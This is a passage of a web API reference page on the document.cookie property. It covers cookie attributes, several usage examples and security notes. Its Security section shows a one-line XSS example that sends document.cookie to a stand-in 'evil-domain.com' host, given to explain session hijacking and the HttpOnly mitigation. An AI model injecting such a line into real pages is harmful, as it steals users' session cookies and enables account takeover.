href="/en-US/docs/Glossary/CSRF">Cross-Site Request Forgery</a> (CSRF) attacks. This is the default value in modern browsers. </li> <li>The <code>strict</code> value will prevent the cookie from being sent by the browser to the target site in all cross-site browsing contexts, even when following a regular link.</li> <li> The <code>none</code> value explicitly states no restrictions will be applied. The cookie will be sent in all requests—both cross-site and same-site. </li> </ul> </li> <li> <p><code>;secure</code>: Specifies that the cookie should only be transmitted over a secure protocol.</p> </li> </ul> </li> <li> <p>The cookie value string can use <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent"><code>encodeURIComponent()</code></a> to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values).</p> </li> <li> <p>Some user agent implementations support the following cookie prefixes:</p> <ul> <li> <p><code>__Secure-</code> Signals to the browser that it should only include the cookie in requests transmitted over a secure channel.</p> </li> <li> <p> <code>__Host-</code> Signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the cookie is limited to a path attribute passed down by the server. If the server omits the path attribute the "directory" of the request URI is used. It also signals that the domain attribute must not be present, which prevents the cookie from being sent to other domains. For Chrome the path attribute must always be the origin. </p> </li> </ul> <div class="notecard note"> <p><strong>Note:</strong> The dash is considered part of the prefix.</p> </div> <div class="notecard note"> <p><strong>Note:</strong> These flags are only settable with the <code>secure</code> attribute.</p> </div> </li> </ul> <div class="notecard note"> <p><strong>Note:</strong> As you can see from the code above, <code>document.cookie</code> is an <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#description">accessor property</a> with native <em>setter</em> and <em>getter</em> functions, and consequently is <em>not</em> a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#description">data property</a> with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.</p> </div></div></section><section aria-labelledby="examples"><h2 id="examples"><a href="#examples">Examples</a></h2><div class="section-content"></div></section><section aria-labelledby="example_1_simple_usage"><h3 id="example_1_simple_usage"><a href="#example_1_simple_usage">Example 1: Simple usage</a></h3><div class="section-content"><div class="code-example"><div class="example-header"><span class="language-name">js</span></div><pre class="brush: js notranslate"><code>// Note that we are setting `SameSite=None;` in this example because the example // needs to work cross-origin. // It is more common not to set the `SameSite` attribute, which results in the default, // and more secure, value of `SameSite=Lax;` document.cookie = "name=Oeschger; SameSite=None; Secure"; document.cookie = "favorite_food=tripe; SameSite=None; Secure"; function showCookies() { const output = document.getElementById("cookies"); output.textContent = `> ${document.cookie}`; } function clearOutputCookies() { const output = document.getElementById("cookies"); output.textContent = ""; } </code></pre></div> <div class="code-example"><div class="example-header"><span class="language-name">html</span></div><pre class="brush: html notranslate"><code><button onclick="showCookies()">Show cookies</button> <button onclick="clearOutputCookies()">Clear</button> <div> <code id="cookies"></code> </div> </code></pre></div><div class="code-example"><div class="example-header"></div><iframe class="sample-code-frame" title="Example 1 Simple usage sample" id="frame_example_1_simple_usage" width="200" height="72" src="about:blank" data-live-path="/en-US/docs/Web/API/Document/cookie" data-live-id="example_1_simple_usage" sandbox="allow-same-origin allow-scripts" loading="lazy"></iframe></div></div></section><section aria-labelledby="example_2_get_a_sample_cookie_named_test2"><h3 id="example_2_get_a_sample_cookie_named_test2"><a href="#example_2_get_a_sample_cookie_named_test2">Example 2: Get a sample cookie named test2</a></h3><div class="section-content"><div class="code-example"><div class="example-header"><span class="language-name">js</span></div><pre class="brush: js notranslate"><code>// Note that we are setting `SameSite=None;` in this example because the example // needs to work cross-origin. // It is more common not to set the `SameSite` attribute, which results in the default, // and more secure, value of `SameSite=Lax;` document.cookie = "test1=Hello; SameSite=None; Secure"; document.cookie = "test2=World; SameSite=None; Secure"; const cookieValue = document.cookie .split("; ") .find((row) => row.startsWith("test2=")) ?.split("=")[1]; function showCookieValue() { const output = document.getElementById("cookie-value"); output.textContent = `> ${cookieValue}`; } function clearOutputCookieValue() { const output = document.getElementById("cookie-value"); output.textContent = ""; } </code></pre></div> <div class="code-example"><div class="example-header"><span class="language-name">html</span></div><pre class="brush: html notranslate"><code><button onclick="showCookieValue()">Show cookie value</button> <button onclick="clearOutputCookieValue()">Clear</button> <div> <code id="cookie-value"></code> </div> </code></pre></div><div class="code-example"><div class="example-header"></div><iframe class="sample-code-frame" title="Example 2 Get a sample cookie named test2 sample" id="frame_example_2_get_a_sample_cookie_named_test2" width="200" height="72" src="about:blank" data-live-path="/en-US/docs/Web/API/Document/cookie" data-live-id="example_2_get_a_sample_cookie_named_test2" sandbox="allow-same-origin allow-scripts" loading="lazy"></iframe></div></div></section><section aria-labelledby="example_3_do_something_only_once"><h3 id="example_3_do_something_only_once"><a href="#example_3_do_something_only_once">Example 3: Do something only once</a></h3><div class="section-content"><p> In order to use the following code, please replace all occurrences of the word <code>doSomethingOnlyOnce</code> (the name of the cookie) with a custom name. </p> <div class="code-example"><div class="example-header"><span class="language-name">js</span></div><pre class="brush: js notranslate"><code>function doOnce() { if ( !document.cookie .split("; ") .find((row) => row.startsWith("doSomethingOnlyOnce")) ) { // Note that we are setting `SameSite=None;` in this example because the example // needs to work cross-origin. // It is more common not to set the `SameSite` attribute, which results in the default, // and more secure, value of `SameSite=Lax;` document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; SameSite=None; Secure"; const output = document.getElementById("do-once"); output.textContent = "> Do something here!"; } } function clearOutputDoOnce() { const output = document.getElementById("do-once"); output.textContent = ""; } </code></pre></div> <div class="code-example"><div class="example-header"><span class="language-name">html</span></div><pre class="brush: html notranslate"><code><button onclick="doOnce()">Only do something once</button> <button onclick="clearOutputDoOnce()">Clear</button> <div> <code id="do-once"></code> </div> </code></pre></div><div class="code-example"><div class="example-header"></div><iframe class="sample-code-frame" title="Example 3 Do something only once sample" id="frame_example_3_do_something_only_once" width="200" height="72" src="about:blank" data-live-path="/en-US/docs/Web/API/Document/cookie" data-live-id="example_3_do_something_only_once" sandbox="allow-same-origin allow-scripts" loading="lazy"></iframe></div></div></section><section aria-labelledby="example_4_reset_the_previous_cookie"><h3 id="example_4_reset_the_previous_cookie"><a href="#example_4_reset_the_previous_cookie">Example 4: Reset the previous cookie</a></h3><div class="section-content"><div class="code-example"><div class="example-header"><span class="language-name">js</span></div><pre class="brush: js notranslate"><code>function resetOnce() { // Note that we are setting `SameSite=None;` in this example because the example // needs to work cross-origin. // It is more common not to set the `SameSite` attribute, which results in the default, // and more secure, value of `SameSite=Lax;` document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=None; Secure"; const output = document.getElementById("reset-once"); output.textContent = "> Reset!"; } function clearOutputResetOnce() { const output = document.getElementById("reset-once"); output.textContent = ""; } </code></pre></div> <div class="code-example"><div class="example-header"><span class="language-name">html</span></div><pre class="brush: html notranslate"><code><button onclick="resetOnce()">Reset only once cookie</button> <button onclick="clearOutputResetOnce()">Clear</button> <div> <code id="reset-once"></code> </div> </code></pre></div><div class="code-example"><div class="example-header"></div><iframe class="sample-code-frame" title="Example 4 Reset the previous cookie sample" id="frame_example_4_reset_the_previous_cookie" width="200" height="72" src="about:blank" data-live-path="/en-US/docs/Web/API/Document/cookie" data-live-id="example_4_reset_the_previous_cookie" sandbox="allow-same-origin allow-scripts" loading="lazy"></iframe></div></div></section><section aria-labelledby="example_5_check_a_cookie_existence"><h3 id="example_5_check_a_cookie_existence"><a href="#example_5_check_a_cookie_existence">Example 5: Check a cookie existence</a></h3><div class="section-content"><div class="code-example"><div class="example-header"><span class="language-name">js</span></div><pre class="brush: js notranslate"><code>// Note that we are setting `SameSite=None;` in this example because the example // needs to work cross-origin. // It is more common not to set the `SameSite` attribute, which results in the default, // and more secure, value of `SameSite=Lax;` document.cookie = "reader=1; SameSite=None; Secure"; function checkACookieExists() { if ( document.cookie.split(";").some((item) => item.trim().startsWith("reader=")) ) { const output = document.getElementById("a-cookie-existence"); output.textContent = '> The cookie "reader" exists'; } } function clearOutputACookieExists() { const output = document.getElementById("a-cookie-existence"); output.textContent = ""; } </code></pre></div> <div class="code-example"><div class="example-header"><span class="language-name">html</span></div><pre class="brush: html notranslate"><code><button onclick="checkACookieExists()">Check a cookie exists</button> <button onclick="clearOutputACookieExists()">Clear</button> <div> <code id="a-cookie-existence"></code> </div> </code></pre></div><div class="code-example"><div class="example-header"></div><iframe class="sample-code-frame" title="Example 5 Check a cookie existence sample" id="frame_example_5_check_a_cookie_existence" width="200" height="72" src="about:blank" data-live-path="/en-US/docs/Web/API/Document/cookie" data-live-id="example_5_check_a_cookie_existence" sandbox="allow-same-origin allow-scripts" loading="lazy"></iframe></div></div></section><section aria-labelledby="example_6_check_that_a_cookie_has_a_specific_value"><h3 id="example_6_check_that_a_cookie_has_a_specific_value"><a href="#example_6_check_that_a_cookie_has_a_specific_value">Example 6: Check that a cookie has a specific value</a></h3><div class="section-content"><div class="code-example"><div class="example-header"><span class="language-name">js</span></div><pre class="brush: js notranslate"><code>function checkCookieHasASpecificValue() { if (document.cookie.split(";").some((item) => item.includes("reader=1"))) { const output = document.getElementById("a-specific-value-of-the-cookie"); output.textContent = '> The cookie "reader" has a value of "1"'; } } function clearASpecificValueOfTheCookie() { const output = document.getElementById("a-specific-value-of-the-cookie"); output.textContent = ""; } </code></pre></div> <div class="code-example"><div class="example-header"><span class="language-name">html</span></div><pre class="brush: html notranslate"><code><button onclick="checkCookieHasASpecificValue()"> Check that a cookie has a specific value </button> <button onclick="clearASpecificValueOfTheCookie()">Clear</button> <div> <code id="a-specific-value-of-the-cookie"></code> </div> </code></pre></div><div class="code-example"><div class="example-header"></div><iframe class="sample-code-frame" title="Example 6 Check that a cookie has a specific value sample" id="frame_example_6_check_that_a_cookie_has_a_specific_value" width="200" height="72" src="about:blank" data-live-path="/en-US/docs/Web/API/Document/cookie" data-live-id="example_6_check_that_a_cookie_has_a_specific_value" sandbox="allow-same-origin allow-scripts" loading="lazy"></iframe></div></div></section><section aria-labelledby="security"><h2 id="security"><a href="#security">Security</a></h2><div class="section-content"><p> It is important to note that the <code>path</code> attribute does <em>not</em> protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden <a href="/en-US/docs/Web/HTML/Element/iframe"><code><iframe></code></a> element with the path of the cookie, then accessing this iframe's <code>contentDocument.cookie</code> property. The only way to protect the cookie is by using a different domain or subdomain, due to the <a href="/en-US/docs/Web/Security/Same-origin_policy">same origin policy</a>. </p> <p> Cookies are often used in web applications to identify a user and their authenticated session. Stealing a cookie from a web application leads to hijacking the authenticated user's session. Common ways to steal cookies include using <a href="https://en.wikipedia.org/wiki/Social_engineering_(security)" class="external" target="_blank">social engineering</a> or by exploiting a <a href="/en-US/docs/Glossary/Cross-site_scripting">cross-site scripting</a> (XSS) vulnerability in the application - </p> <div class="code-example"><div class="example-header"><span class="language-name">js</span></div><pre class="brush: js notranslate"><code>new Image().src = `http://www.evil-domain.com/steal-cookie.php?cookie=${document.cookie}`; </code></pre></div> <p> The <code>HTTPOnly</code> cookie attribute can help to mitigate this attack by preventing access to cookie value through JavaScript. Read more about <a href="https://humanwhocodes.com/blog/2009/05/12/cookies-and-security/" class="external" target="_blank">Cookies and Security</a>. </p></div></section><section aria-labelledby="notes"><h2 id="notes"><a href="#notes">Notes</a></h2><div class="section-content"><ul> <li>Starting with Firefox 2, a better mechanism for client-side storage is available - <a href="/en-US/docs/Web/API/Web_Storage_API">WHATWG DOM Storage</a>.</li> <li>You can delete a cookie by updating its expiration time to zero.</li> <li> Keep in mind that the more cookies you have, the more data will be transferred between the server and the client for each request. This will make each request slower. It is highly recommended for you to use <a href="/en-US/docs/Web/API/Web_Storage_API">WHATWG DOM Storage</a> if you are going to keep "client-only" data. </li> <li> <a href="https://datatracker.ietf.org/doc/html/rfc2965" class="external" target="_blank">RFC 2965</a> (Section 5.3, "Implementation Limits") specifies that there should be <strong>no maximum length</strong> of a cookie's key or value size, and encourages implementations to support <strong>arbitrarily large cookies</strong>. Each browser's implementation maximum will necessarily be different, so consult individual browser documentation. </li> </ul> <p>The reason for the <a href="#syntax">syntax</a> of the <code>document.cookie</code> accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, <a href="/en-US/docs/Web/API/Web_Storage_API">localStorage</a>):</p></div></section><section aria-labelledby="the_server_tells_the_client_to_store_a_cookie"><h3 id="the_server_tells_the_client_to_store_a_cookie"><a href="#the_server_tells_the_client_to_store_a_cookie">The server tells the client to store a cookie</a></h3><div class="section-content"><div class="code-example"><div class="example-header"><span class="language-name">bash</span></div><pre class="brush: bash notranslate"><code>HTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT [content of the page here] </code></pre></div></div></section><section aria-labelledby="the_client_sends_back_to_the_server_its_cookies_previously_stored"><h3 id="the_client_sends_back_to_the_server_its_cookies_previously_stored"><a href="#the_client_sends_back_to_the_server_its_cookies_previously_stored">The client sends back to the server its cookies previously stored</a></h3><div class="section-content"><div class="code-example"><div class="example-header"><span class="language-name">bash</span></div><pre class="brush: bash notranslate"><code>GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */* </code></pre></div></div></section><h2 id="specifications"><a href="#specifications">Specifications</a></h2><table class="standard-table"><thead><tr><th scope="col">Specification</th></tr></thead><tbody><tr><td><a href="https://html.spec.whatwg.org/multipage/dom.html#dom-document-cookie">HTML Standard <br/><small># dom-document-cookie</small></a></td></tr></tbody></table><h2 id="browser_compatibility"><a href="#browser_compatibility">Browser compatibility</a></h2><p>BCD tables only load in the browser<noscript> with JavaScript enabled. Enable JavaScript to view data.</noscript></p><section aria-labelledby="see_also"><h2 id="see_also"><a href="#see_also">See also</a></h2><div class="section-content"><ul> <li><a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a></li> <li><a href="/en-US/docs/Web/API/Web_Storage_API">DOM Storage</a></li> <li><a href="/en-US/docs/Web/API/URL/pathname"><code>URL.pathname</code></a></li> <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toUTCString"><code>Date.toUTCString()</code></a></li> <li><a href="https://datatracker.ietf.org/doc/html/rfc2965" class="external" target="_blank">RFC 2965</a></li> </ul></div></section></article><aside class="article-footer"><div class="article-footer-inner"><div class="svg-container"><svg xmlns="http://www.w3.org/2000/svg" width="162" height="162" viewBox="0 0 162 162" fill="none" role="none"><mask id="b" fill="#fff"><path d="M97.203 47.04c8.113-7.886 18.004-13.871 28.906-17.492a78 78 0 0 1 33.969-3.39c11.443 1.39 22.401 5.295 32.024 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href="https://foundation.mozilla.org/">Mozilla Foundation</a>.<br/>Portions of this content are ©1998–2024 by individual mozilla.org contributors. Content available under <a href="/en-US/docs/MDN/Writing_guidelines/Attrib_copyright_license">a Creative Commons license</a>.</p></div></div></footer></div><script type="application/json" id="hydration">{"url":"/en-US/docs/Web/API/Document/cookie","doc":{"isMarkdown":true,"isTranslated":false,"isActive":true,"flaws":{},"title":"Document: cookie property","mdn_url":"/en-US/docs/Web/API/Document/cookie","locale":"en-US","native":"English (US)","browserCompat":["api.Document.cookie"],"baseline":{"baseline":"high","baseline_high_date":"2018-01-29","baseline_low_date":"2015-07-29","support":{"chrome":"1","chrome_android":"18","edge":"12","firefox":"1","firefox_android":"4","safari":"1","safari_ios":"1"}},"sidebarHTML":"<ol><li class=\"section\"><a href=\"/en-US/docs/Web/API/Document_Object_Model\">Document Object Model</a></li><li class=\"section\"><a href=\"/en-US/docs/Web/API/Document\"><code>Document</code></a></li><li class=\"toggle\"><details open=\"\"><summary>Constructor</summary><ol><li><a href=\"/en-US/docs/Web/API/Document/Document\"><code>Document()</code></a></li></ol></details></li><li class=\"toggle\"><details open=\"\"><summary>Instance properties</summary><ol><li><a href=\"/en-US/docs/Web/API/Document/activeElement\"><code>activeElement</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/adoptedStyleSheets\"><code>adoptedStyleSheets</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/alinkColor\"><code>alinkColor</code></a><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/all\"><code>all</code></a><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/anchors\"><code>anchors</code></a><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/applets\"><code>applets</code></a><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/bgColor\"><code>bgColor</code></a><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/body\"><code>body</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/characterSet\"><code>characterSet</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/childElementCount\"><code>childElementCount</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/children\"><code>children</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/compatMode\"><code>compatMode</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/contentType\"><code>contentType</code></a></li><li><em><code>cookie</code> </em></li><li><a href=\"/en-US/docs/Web/API/Document/currentScript\"><code>currentScript</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/defaultView\"><code>defaultView</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/designMode\"><code>designMode</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/dir\"><code>dir</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/doctype\"><code>doctype</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/documentElement\"><code>documentElement</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/documentURI\"><code>documentURI</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/domain\"><code>domain</code></a><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/embeds\"><code>embeds</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/featurePolicy\"><code>featurePolicy</code></a><abbr class=\"icon icon-experimental\" title=\"Experimental. Expect behavior to change in the future.\">\n <span class=\"visually-hidden\">Experimental</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/fgColor\"><code>fgColor</code></a><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/firstElementChild\"><code>firstElementChild</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/fonts\"><code>fonts</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/forms\"><code>forms</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/fragmentDirective\"><code>fragmentDirective</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/fullscreen\"><code>fullscreen</code></a><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/fullscreenElement\"><code>fullscreenElement</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/fullscreenEnabled\"><code>fullscreenEnabled</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/head\"><code>head</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/hidden\"><code>hidden</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/images\"><code>images</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/implementation\"><code>implementation</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/lastElementChild\"><code>lastElementChild</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/lastModified\"><code>lastModified</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/lastStyleSheetSet\"><code>lastStyleSheetSet</code></a><abbr class=\"icon icon-nonstandard\" title=\"Non-standard. Check cross-browser support before using.\">\n <span class=\"visually-hidden\">Non-standard</span>\n</abbr><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/linkColor\"><code>linkColor</code></a><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/links\"><code>links</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/location\"><code>location</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/pictureInPictureElement\"><code>pictureInPictureElement</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/pictureInPictureEnabled\"><code>pictureInPictureEnabled</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/plugins\"><code>plugins</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/pointerLockElement\"><code>pointerLockElement</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/preferredStyleSheetSet\"><code>preferredStyleSheetSet</code></a><abbr class=\"icon icon-nonstandard\" title=\"Non-standard. Check cross-browser support before using.\">\n <span class=\"visually-hidden\">Non-standard</span>\n</abbr><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/prerendering\"><code>prerendering</code></a><abbr class=\"icon icon-experimental\" title=\"Experimental. Expect behavior to change in the future.\">\n <span class=\"visually-hidden\">Experimental</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/readyState\"><code>readyState</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/referrer\"><code>referrer</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/rootElement\"><code>rootElement</code></a><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/scripts\"><code>scripts</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/scrollingElement\"><code>scrollingElement</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/selectedStyleSheetSet\"><code>selectedStyleSheetSet</code></a><abbr class=\"icon icon-nonstandard\" title=\"Non-standard. Check cross-browser support before using.\">\n <span class=\"visually-hidden\">Non-standard</span>\n</abbr><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/styleSheets\"><code>styleSheets</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/styleSheetSets\"><code>styleSheetSets</code></a><abbr class=\"icon icon-nonstandard\" title=\"Non-standard. Check cross-browser support before using.\">\n <span class=\"visually-hidden\">Non-standard</span>\n</abbr><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/timeline\"><code>timeline</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/title\"><code>title</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/URL\"><code>URL</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/visibilityState\"><code>visibilityState</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/vlinkColor\"><code>vlinkColor</code></a><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/xmlEncoding\"><code>xmlEncoding</code></a><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/xmlVersion\"><code>xmlVersion</code></a><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li></ol></details></li><li class=\"toggle\"><details open=\"\"><summary>Static methods</summary><ol><li><a href=\"/en-US/docs/Web/API/Document/parseHTMLUnsafe_static\"><code>parseHTMLUnsafe()</code></a></li></ol></details></li><li class=\"toggle\"><details open=\"\"><summary>Instance methods</summary><ol><li><a href=\"/en-US/docs/Web/API/Document/adoptNode\"><code>adoptNode()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/append\"><code>append()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/browsingTopics\"><code>browsingTopics()</code></a><abbr class=\"icon icon-experimental\" title=\"Experimental. Expect behavior to change in the future.\">\n <span class=\"visually-hidden\">Experimental</span>\n</abbr><abbr class=\"icon icon-nonstandard\" title=\"Non-standard. Check cross-browser support before using.\">\n <span class=\"visually-hidden\">Non-standard</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/caretPositionFromPoint\"><code>caretPositionFromPoint()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/caretRangeFromPoint\"><code>caretRangeFromPoint()</code></a><abbr class=\"icon icon-nonstandard\" title=\"Non-standard. Check cross-browser support before using.\">\n <span class=\"visually-hidden\">Non-standard</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/clear\"><code>clear()</code></a><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/close\"><code>close()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/createAttribute\"><code>createAttribute()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/createAttributeNS\"><code>createAttributeNS()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/createCDATASection\"><code>createCDATASection()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/createComment\"><code>createComment()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/createDocumentFragment\"><code>createDocumentFragment()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/createElement\"><code>createElement()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/createElementNS\"><code>createElementNS()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/createEvent\"><code>createEvent()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/createExpression\"><code>createExpression()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/createNodeIterator\"><code>createNodeIterator()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/createNSResolver\"><code>createNSResolver()</code></a><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/createProcessingInstruction\"><code>createProcessingInstruction()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/createRange\"><code>createRange()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/createTextNode\"><code>createTextNode()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/createTouch\"><code>createTouch()</code></a><abbr class=\"icon icon-nonstandard\" title=\"Non-standard. Check cross-browser support before using.\">\n <span class=\"visually-hidden\">Non-standard</span>\n</abbr><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/createTouchList\"><code>createTouchList()</code></a><abbr class=\"icon icon-nonstandard\" title=\"Non-standard. Check cross-browser support before using.\">\n <span class=\"visually-hidden\">Non-standard</span>\n</abbr><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/createTreeWalker\"><code>createTreeWalker()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/elementFromPoint\"><code>elementFromPoint()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/elementsFromPoint\"><code>elementsFromPoint()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/enableStyleSheetsForSet\"><code>enableStyleSheetsForSet()</code></a><abbr class=\"icon icon-nonstandard\" title=\"Non-standard. Check cross-browser support before using.\">\n <span class=\"visually-hidden\">Non-standard</span>\n</abbr><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/evaluate\"><code>evaluate()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/execCommand\"><code>execCommand()</code></a><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/exitFullscreen\"><code>exitFullscreen()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/exitPictureInPicture\"><code>exitPictureInPicture()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/exitPointerLock\"><code>exitPointerLock()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/getAnimations\"><code>getAnimations()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/getElementById\"><code>getElementById()</code></a></li><li><a 